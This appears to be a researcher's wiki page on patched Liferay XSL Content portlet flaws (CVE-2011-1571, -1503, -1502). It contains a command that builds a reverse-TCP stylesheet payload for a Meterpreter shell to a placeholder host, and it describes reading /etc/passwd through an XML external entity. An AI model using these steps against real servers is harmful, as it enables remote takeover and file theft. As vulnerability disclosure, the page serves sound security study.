Application_Liferay

Last modified by Nicolas Gregoire on 2012/04/19 14:05

Introduction

Dixit Wikipedia : "Liferay Portal is a free and open source enterprise portal written in Java and distributed under the GNU Lesser General Public License.[2] and proprietary licenses. It is primarily used to power corporate intranets and extranets. [...] Liferay Portal is Java based and runs on any computing platform capable of running the Java Runtime Environment and an application server. Liferay is available bundled with an servlet container such as Apache Tomcat."

The vulnerabilities described here were patched in version 6.0.6 GA (cf. the Release Notes for 6.0.6 GA).

Java code execution

LIferay includes numerous portlets. The "XSL Content" portlet displays the result of the XSL transformation of a XML document. The XSLT engine used by default is Xalan-J (but this can probably modified easily using JAXP). As Xalan-J allows by default to execute Java code from the stylesheet, that's an easy to exploit vulnerability. Any logged-in user can execute arbitrary Java code in the context of the Web Application server (usually Tomcat) : CVE-2011-1571.

Executing commands and reading the output (using the "xalanj-reading-stdout.xsl" script included on the Xalan-J page) :

liferay-execute-commands-with-stdout.png

Meterpreter shell

As described in Feature #6594: Liferay XSL Command Execution, here's a way to gain a Meterpreter shell with this vulnerability :

- stand-alone JavaPayload to generate the XSLT stylesheet (java jar JavaPayload.jar Builder Template XalanJ.xsl output.xsl ReverseTCP 1.2.3.4 31337 - - JSh)
- Metasploit to handle the Meterpreter connection (PAYLOAD=java/meterpreter/reverse_tcp)
- Manual interaction to trigger the vulnerability (browser)

Additional vulnerabilities

Two others vulnerabilities were identified in the "XSL Content" portlet :

  • CVE-2011-1503 : allows to read XML files via a file:// URL (not mine !)
  • CVE-2011-1502 : allows to read UTF-8 files and to list directories via a XEE (XML External Entity) attack

Reading /etc/passwd using CVE-2011-1502 (cf attached files liferay-xee.xsl and liferay-xee.xml) :

liferay-read-etc-passwd-via-xee.png

     

Welcome

Welcome on the XSLT Hacking Encyclopedia !

You may be interested by the Engines and Applications pages.

Link to the blog
Twitter: @Agarri_FR

Recently Modified

$msg.get("xe.tag.tagcloud") | Default Class Sheet | Activity Stream |  Attachments | Space Index

Tag Cloud

Failed to execute the [velocity] macro. Cause: [The execution of the [velocity] script macro is not allowed in [xhe:XWiki.TagCloud]. Check the rights of its last author or the parameters if it's rendered from another script.]. Click on this message for details.

Content by Nicolas Grégoire / Agarri
Blog - Follow me @Agarri_FR